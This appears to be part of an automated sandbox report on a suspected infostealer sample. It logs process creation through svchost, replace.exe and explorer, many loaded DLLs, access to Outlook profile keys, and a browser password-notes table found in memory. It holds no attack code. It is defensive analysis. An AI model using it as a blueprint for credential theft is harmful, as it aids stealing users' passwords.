            Source: replace.exe, 00000004.00000002.2379954988.0000000000C6D000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.2379954988.0000000000C62000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.2379954988.0000000000C41000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.2379954988.0000000000C90000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000003.1634585219.0000000000C62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
            Source: UNGSno5k4G.exeReversingLabs: Detection: 83%
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeFile read: C:\Users\user\Desktop\UNGSno5k4G.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\UNGSno5k4G.exe "C:\Users\user\Desktop\UNGSno5k4G.exe"
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\UNGSno5k4G.exe"
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeProcess created: C:\Windows\SysWOW64\replace.exe "C:\Windows\SysWOW64\replace.exe"
            Source: C:\Windows\SysWOW64\replace.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
            Source: C:\Windows\SysWOW64\replace.exeProcess created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"
            Source: unknownProcess created: C:\Windows\explorer.exe explorer.exe
            Source: unknownProcess created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\UNGSno5k4G.exe"Jump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeProcess created: C:\Windows\SysWOW64\replace.exe "C:\Windows\SysWOW64\replace.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\replace.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\replace.exeProcess created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"Jump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeSection loaded: wsock32.dllJump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: ulib.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: ieframe.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: netapi32.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: mlang.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: winsqlite3.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: vaultcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: aepic.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: twinapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dxgi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: coremessaging.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wtsapi32.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dwmapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: twinapi.appcore.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: edputil.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: appresolver.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: bcp47langs.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: slc.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: starttiledata.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: usermgrcli.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: usermgrproxy.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: cscui.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: structuredquery.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.globalization.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: bcp47mrm.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: icu.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: mswb7.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.storage.search.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: explorerframe.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: actxprxy.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.staterepositoryps.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: aepic.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: twinapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dxgi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: coremessaging.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wtsapi32.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dwmapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: twinapi.appcore.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: ninput.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: appresolver.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: bcp47langs.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: slc.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: starttiledata.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.staterepositoryps.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: idstore.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wlidprov.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: samcli.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: usermgrcli.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.applicationmodel.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: policymanager.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: msvcp110_win.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: appxdeploymentclient.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: usermgrproxy.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.staterepositoryclient.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: winsta.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: sndvolsso.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: mmdevapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: devobj.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: oleacc.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: textshaping.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.ui.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windowmanagementapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: textinputframework.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: inputhost.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: coreuicomponents.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: coreuicomponents.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windowscodecs.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dcomp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: d3d11.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: resourcepolicyclient.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: d3d10warp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dxcore.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: d2d1.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dwrite.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.cloudstore.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: appextension.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: cldapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: fltlib.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dataexchange.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.cloudstore.schema.shell.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: tiledatarepository.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: staterepository.core.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.staterepository.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: explorerframe.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.staterepositorycore.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: twinui.pcshell.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wincorlib.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: cdp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dsreg.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: mrmcorer.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.immersiveshell.serviceprovider.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: languageoverlayutil.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: bcp47mrm.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: thumbcache.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: edputil.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: onecorecommonproxystub.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: twinui.appcore.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: twinui.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: pdh.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: photometadatahandler.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: applicationframe.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: ntshrui.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: rmclient.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: cscapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: linkinfo.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: ehstorshell.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: cscui.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: provsvc.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: actxprxy.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: sxs.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dui70.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: duser.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.ui.fileexplorer.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: uiribbon.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: holographicextensions.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: virtualmonitormanager.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: resourcepolicyclient.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: atlthunk.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.ui.immersive.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: abovelockapphost.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: npsm.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.shell.bluelightreduction.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.web.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.internal.signals.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: tdh.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: mscms.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: coloradapterclient.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.staterepositorybroker.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: mfplat.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: rtworkq.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: structuredquery.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: taskflowdataengine.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: networkexplorer.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.security.authentication.web.core.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.data.activities.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.internal.ui.shell.windowtabmanager.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.system.launcher.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: notificationcontrollerps.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.devices.enumeration.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.globalization.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: icu.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: mswb7.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.shell.servicehostbuilder.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: devdispitemprovider.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.networking.connectivity.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.ui.core.textinput.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: uianimation.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windowsudk.shellcommon.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dictationmanager.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: npmproxy.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: stobject.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wmiclnt.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: workfoldersshell.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: winnsi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: schannel.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: taskschd.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: mskeyprotect.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: ntasn1.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: ncrypt.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: ncryptsslp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: pcshellcommonproxystub.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: cryptngc.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: cflapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: execmodelproxy.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: daxexec.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: container.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: shellcommoncommonproxystub.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: cdprt.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: uiautomationcore.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: samlib.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: batmeter.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: capabilityaccessmanagerclient.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: inputswitch.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.ui.shell.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: es.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: prnfldr.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dxp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: shdocvw.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: actioncenter.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wevtapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: syncreg.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: audioses.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: pnidui.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: mobilenetworking.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: netprofm.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wpnclient.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: networkuxbroker.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: ethernetmediamanager.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wlanapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dusmapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: ncsi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc6.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wpdshserviceobj.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: portabledevicetypes.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: portabledeviceapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: cscobj.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: srchadmin.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.storage.search.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: synccenter.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: imapi2.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: bluetoothapis.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: bluetoothapis.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: bluetoothapis.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: bluetoothapis.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: settingsync.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: settingsynccore.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windows.ui.xaml.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: windowsinternal.composableshell.desktophosting.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: uiamanager.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: vcruntime140.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: msvcp140.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: vcruntime140.dllJump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: C:\Windows\SysWOW64\replace.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
            Source: UNGSno5k4G.exeStatic file information: File size 1338657 > 1048576
            Source: Binary string: replace.pdb source: svchost.exe, 00000002.00000003.1421070272.000000000081A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1452377749.0000000000800000.00000004.00000020.00020000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000003.00000002.3181935717.00000000013D7000.00000004.00000020.00020000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000003.00000003.1394304675.00000000013EB000.00000004.00000020.00020000.00000000.sdmp
